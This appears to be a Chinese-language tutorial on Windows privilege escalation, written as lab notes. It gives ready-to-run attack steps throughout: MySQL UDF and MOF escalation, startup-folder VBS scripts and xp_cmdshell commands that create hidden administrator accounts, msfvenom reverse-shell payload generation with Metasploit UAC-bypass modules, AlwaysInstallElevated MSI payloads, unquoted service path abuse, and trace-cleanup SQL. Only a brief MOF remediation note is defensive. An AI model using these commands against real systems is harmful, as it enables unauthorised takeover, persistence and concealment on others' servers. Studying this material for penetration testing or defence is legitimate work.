WIndows

总流程

  1. whoami判断权限,直接system就不用提权,jsp网站直接system权限

  2. systeminfo查看补丁,进而上传exp利用

  3. 若无法通过系统漏洞、系统服务漏洞提权,则翻目录,寻找配置文件(数据库、pcanywhere的密码文件等第三方软件的敏感文件)

  4. 一个服务器有aspx、php、jsp,拿下来一个aspx的低权限shell,往jsp目录上传webshell并访问,可能为最高权限

一、系统漏洞提权

1. 流程

  • 获得目标机shell => 查看补丁记录 => 寻找对应EXP => 使用EXP提权

2. 查看补丁

3. 寻找EXP

4. 实例

  1. 当getshell后,查看系统权限

查看权限

  1. 查看系统补丁

    系统版本

    查看补丁

  2. 查找可使用exp

    • 根据补丁和操作系统版本号,查找相对应可用EXP编号

    查找exp

  3. 上传exp,并使用

二、MYSQL三种提权方式

1. 概述

(1). 前提条件

  • 获取root用户的账号密码

(2). 获取方法

  1. 查看数据库配置文件
    • config、conn、data、sql、inc、database等关键字
  2. 下载mysql安装路径下的数据文件并破解
    1. data目录存放数据库信息
    2. root账号密码存储在mysql数据库下的user表
    3. 完整路径=安装路径+data+mysql+user.myd
  3. 进行暴力破解
    • Hscan、Hydra、X-scan等

2. udf提权

(1). 原理

  • UDF(User Defined Function,用户自定义函数)支持用户自定义内容,通过udf.dll文件添加新的函数,对mysql服务器进行功能扩充,从而创建函数,将MYSQL账户转化为系统system权限。总而言之,UDF提权是通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

(2). 利用条件

  1. Windows2000、xp、2003
  2. Mysql数据库版本符合
  3. 账号具有对Mysql的插入和删除权限
  4. 可以将udf.dll写入到相应目录的权限

数据库版本

(3). 步骤

  1. 将DLL文件导出到指定目录
  2. 使用SQL语句创建自定义函数
  3. 执行函数,完成提权

(4). 详解

a. 收集信息
select version();
select user();
select @@basedir;
b. 判断版本
①低于5.1
  • 直接将dll文件导出到/lib/plugin目录
②高于5.1
  • 创建导出文件夹
  1. 通过sql语句
select 'xxx' into dumpfile 'Mysql目录\\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'Mysql目录\\lib\\plugin::$INDEX_ALLOCATION';
  1. 通过webshell进行可视化创建
c. 导入udf文件
  • 将sqlmap的udf文件上传到指定目录(/lib/plugin/)
  • sqlmap\data\udf\mysql\目录中的dll文件是通过异或编码的,可以使用sqlmap\extra\cloak.py进行解密
d. 创建自定义函数

可使用自定义函数

e. 执行语句
  • 通过调用自定义函数,执行命令

    select state('whoami');
    
f. 清除痕迹
drop function state;
delete from mysql.func where name='state';

(5). 实例

  1. 成功连接数据库

    成功连接数据库

  2. 查看默认安装路径及相应信息

    select @@basedir,version()
    select version()
    

    mysql相关信息

  3. 执行sql语句,将hex编码写入udf3.dll文件

    1. 创建表
    create table udf(shellcode BLOB);
    

    创建表

    1. 获得十六进制内容

      • 通过HxD等工具打开udf.dll文件,获取十六进制内容,或通过sql语句获得十六进制内容(在本地或服务器上均可)

        #前一地址为udf.dll文件所在地址,后一路径为要输出的十六进制内容的文件,获得十六进制内容的操作也可直接在本地进行
        select hex(load_file('C:/phpStudy/WWW/udf.dll')) into dumpfile 'C:/phpStudy/WWW/udf.txt';
        

        十六进制内容

    2. 往我们自定义的表中插入十六进制数据内容

      insert into laffrex values(unhex('这里放入上一步获得的udf.dll的十六进制代码'));
      
      #例如以下形式:
      insert into laffrex values(unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E8...'));
      

      插入十六进制内容

    3. 将十六进制内容写入udf3.dll文件中

      select shellcode from laffrex into dumpfile 'c:/phpstudy/MYSQL/lib/plugin/udf3.dll';
      

      内容写入udf3.dll

  4. 根据udf3.dll,创建自定义函数

    1. 根据udf文件内容,选择使用哪个函数

      确定使用函数

    2. 确认所使用函数是否存在,若存在,则考虑换另一个函数,或者删除该函数

      #删除函数语句
      DROP FUNCTION sys_eval;
      

      存在该函数

    3. 创建自定义函数

    create function sys_eval returns string soname 'udf3.dll';
    

    创建自定义函数

  5. 通过自定义函数,执行相应系统功能

    select sys_eval('whoami');
    

    执行功能

  6. 消除痕迹,删除表

    DROP TABLE laffrex;
    

3. mof提权

(1). 原理

  • 利用c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,该文件每分钟都会在一个特定的时间去执行一次的特性,通过写入cmd命令使其被带入执行

(2). 利用条件

  1. Windows <= 2003
  2. 对mof目录有读写权限
  3. 可以实现写mof文件到相应目录
    • 数据库允许外联
    • 存在webshell
    • 有可写的sql注入漏洞等

(3). mof文件

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
	EventNamespace = "Root\\Cimv2";
	Name  = "filtP2";
	Query = "Select * From __InstanceModificationEvent "
			"Where TargetInstance Isa \"Win32_LocalTime\" "
			"And TargetInstance.Second = 5";
	QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
	Name = "consPCSV2";
	ScriptingEngine = "JScript";
	ScriptText =
	"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user cxk666 cxk666 /add\")";
};

instance of __FilterToConsumerBinding
{
	Consumer   = $Consumer;
	Filter = $EventFilter;
};

(4). 防御

  • 当发现服务器被使用mof提权,解决继续创建用户的方法
    1. 先停止winmgmt服务:net stop
    2. 删除文件夹:c:/windows/system32/wbem/repository
    3. 重新启动winmgmt服务:net start winmgmt

(5). 实例

  1. 通过其他方式上传shell并能成功访问

    成功getshell

  2. 通过蚁剑或其它方式在可写目录上传用户的.mof脚本

    上传mof脚本

    mof脚本内容

  3. 移动该mof脚本到指定目录(c:/windows/system32/wbem/mof/),该目录下的内容每5秒执行一次

    select load_file('c:/phpstudy/www/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
    

    移动mof脚本

  4. 等待一定时间后,在控制台发现用户已经成功创建

    创建用户成功

4. 启动项提权

  • 将VBS脚本导入到开机启动项中,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令

(1). 利用条件

  1. 上传目录具有可读写权限
  2. 调用的cmd也具有足够的权限
  3. 重启服务器可以利用一些可导致服务器蓝屏的EXP,或者DDOS拒绝服务

(2). 提权方式

  1. 直接将VBS提权脚本上传到启动项目录之下

    C:/Documents and Settings/All Users/「开始」菜单/程序/启动/ 
    
  2. 利用SQL命令来进行VBS脚本的创建及添加

(3). 直接上传

a. vbs脚本内容
set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os)         '得到adsi接口,绑定 
Set oe=GetObject(os&"/Administrators,group")       '属性,admin组 
Set od=ob.Create("user", "ichunqiu")         '建立用户 
od.SetPassword "123.com"        '设置密码 
od.SetInfo         '保存 
Set of=GetObject(os&"/ichunqiu",user)        '得到用户 
oe.add os&"/ichunqiu"
b. 上传到开机启动项目录
  • 需有高权限,否则无法上传,报如下错误
select load_file('C:/phpStudy/WWW/1.vbs') into dumpfile "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/1.vbs"

权限不足报错

(4). SQL写入

  1. 连接目标Mysql数据库

  2. 进入某一数据库,创建一张新的表,该表只有一个字段

    create table a(cmd text)
    

    创建数据库

  3. 表中插入字段,字段内容为VBS脚本代码

    insert into a values("set wshshell=createobject(""wscript.shell"")");
    insert into a values("a=wshshell.run(""cmd.exe /c net user test test1234 /add"",0)");	#指令内容为创建一个用户
    insert into a values("b=wshshell.run(""cmd.exe net localgroup administrators test /add"",0)");	#添加到高权限组
    

    插入vbs脚本内容

  4. 将表输出为一个VBS脚本文件

    • 须确保高权限,否则会报如下错误
    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\1.vbs";
    

    内容输出为VBS

  5. 利用其他手段重启电脑

三、MSSQL提权

1. 利用条件

  1. 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权
  2. 必须可以以某种方式执行sql语句

2. xp_cmdshell提权

  1. 连接数据库,获取所有数据库名

    select name from master.dbo.sysdatabases
    

    获取所有数据库名

  2. 查看相关信息

    select @@version	#查看当前版本
    select is_srvrolemember('sysadmin')		#判断是否为sa
    select is_srvrolemember('public')		#判断是否有public权限,可以爆破表
    select is_srvrolemember('db_owner')		#判断用户写、读文件的权限
    

    查看相关信息

  3. 查看数据库中是否有xp_cmdshell扩展存储插件,返回值为1说明有该插件

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
    

    查看扩展插件

  4. 开启xp_cmdshell

    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'xp_cmdshell',1;
    reconfigure;
    

    开启xp_cmdshell

  5. 执行命令

    exec master..xp_cmdshell 'net user test test1234 /add'
    exec master..xp_cmdshell 'net localgroup administrators test /add'
    

执行命令

成功添加

四、Bypass UAC

1. 使用msf-bypassuac模块

(1). 前期准备

  1. 启动msf,kali中命令行输入msfconsole

    启动msf

  2. 选择反弹shell模块

    use payload/windows/meterpreter/reverse_tcp
    

    选择反弹shell模块

  3. 设置监听主机和端口

    set LHOST <你的IP>
    set LPORT <监听端口>
    

    设置监听

  4. 生成可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.50 LPORT=4444 -f exe -o shell.exe
    
    #如果不在桌面上,可以用指令查找位置
    find / -name shell.exe 2>/dev/null
    
    

    生成可执行文件

    可执行文件

  5. 重新设置监听器,启动监听

    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 192.168.71.50
    set LPORT 4444
    exploit
    

    启动监听

  6. 将exe文件通过各种方式(比如通过此靶机的3389,远程桌面直接cv上传)上传至目标主机,并成功执行

    上传exe

  7. kali成功接收到反弹shell

    成功反弹zhell

(2). 正式操作

  1. 成功获取shell之后,通过getuid查看权限

    getuid查看权限

  2. 尝试利用msf的getsystem提权,显示失败

    getsystem
    

    getsystem提权

  3. 将目前的sessions放到后台运行

    background
    

    保存session

    显示保存为session 1,后面使用该值

  4. 使用相应的模块

    use exploit/windows/local/bypassuac
    

    选择模块

  5. 设置相应的参数

    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.71.50		#设置攻击机ip
    set session 1				#指向刚才后台运行的session
    exploit						#执行该次操作
    

对参数进行设置

运行后发现,后台生成了一个新的session2

  1. 进入新的session2后,使用getuid查看当前的权限,仍然为普通权限

    查看session2

  2. 在session2中,使用getsystem提权,并查看权限,成功提权

    session2提权

2. 使用msf-RunAs模块

  • 该模块使用exploit/windows/local/ask模块,创建一个可执行文件,运行该可执行文件后会发起提升权限的请求,提示用户是否继续运行,如果用户继续运行,则会返回一个高权限的Meterpreter shell
  1. 前面提权步骤相同,成功获得session4

    反弹shell,获取一个shell

  2. 使用对应模块,成功等待目标主机回应

    use exploit/windows/local/ask		#使用RunAs模块
    set session 4		#获取shell的session
    run		
    

    使用RunAs模块

  3. 目标主机成功弹窗

    弹窗

  4. 目标主机点击确认后,kali成功进行meterpreter shell

    成功shell

  5. 成功提权!

    提权成功

3. 手动实现

  1. 通过信息收集,发现目标主机开放3389端口,尝试使用工具进行爆破

    image-20241028152517788

  2. 使用mstsc成功连接上目标主机,并且创建后门账户,并赋予管理员权限

    bypassuac创建后门账户

    赋予管理员权限

  3. cmd命令行使用systeminfo查看是否打了相应的补丁

    KB4525235/KB4525233
    

    查看补丁情况

  4. 寻找到该漏洞对应的EXP,并上传到目标主机上,使用管理员权限运行

    管理员权限打开exp

  5. 查看证书信息

    查看证书信息

  6. 进一步操作

    进一步操作

  7. 将弹出的页面另存为

    另存为

  8. 通过浏览器打开命令行

    打开cmd

  9. 成功以高权限用户执行

    高权限用户

五、错误系统配置

  • 服务未启动:使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法终止:利用dll劫持技术并尝试重启服务来提权

1. 注册表

  • 注册表键AlwaysInstallElevated是一个策略设置项,windows允许低权限用户以System权限安装文件,如果启用次策略设置项,那么任何权限用户都能够以NT AUTHORITY/SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件

(1). 打开组策略

gpedit.msc

组策略

(2). 启用

  1. 图形化启用

永远以最高特权安装

  1. 命令行启用

    • 需要高权限用户
    reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
    

(3). 安装msi文件

  • 通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"

(4). 导出msi文件

powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;WriteUserAddMSI}"

(5). 命令执行

msiexec /q /i UserAdd.msi

/i  安装操作
/q	隐藏安装界面

2. Trusted Service Paths

  • Windows服务通常是以System权限运行的,在解析服务的二进制文件对应的文件路径中的空格时,也会以系统权限进行解析,因此能够利用该特性进行权限提升

(1). 特性

  • 对于路径C:\Program File\Some Folder\Service.exe,Windows会按照如下顺序进行解析

    C:\Program.exe
    C:\Program File\Some.exe
    C:\Program File\Some Folder\Service.exe
    
  • 因此,可以在特定的目录,上传适当命名的恶意可执行文件,从而在服务重启时,以System权限运行

(2). 提权流程

  1. 假设已经获得目标机的低权限Meterpreter shell,尝试通过TrustedService Paths漏洞来尝试实现权限的提升

    • 服务的可执行文件的路径没有用双引号封闭,并且包含空格

    • #列举受害者机器上所有没有加引号的服务路径
      wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v ""
      

      包含空格

  2. 检验目标文件夹是否有写入权限,使用icacls,依次检查是否具有权限

    • M表示修改,F表示完全控制,CI表示丛书容器将继承访问控制项,OI表示从属文件将继承访问控制项,这意味着对目录有读、写、删除其下的文件、删除该目录下的子目录的权限

    权限

  3. 在Metasploit中搜索trusted_service_path模块,设置相关参数并攻击,攻击成功后弹回高权限Meterpreter shell

    成功反弹

3. 其他错误配置

  • 利用MSF的service_permissions模块(需要提前获得Meterpreter shell)、自动安装配置文件、利用计划任务等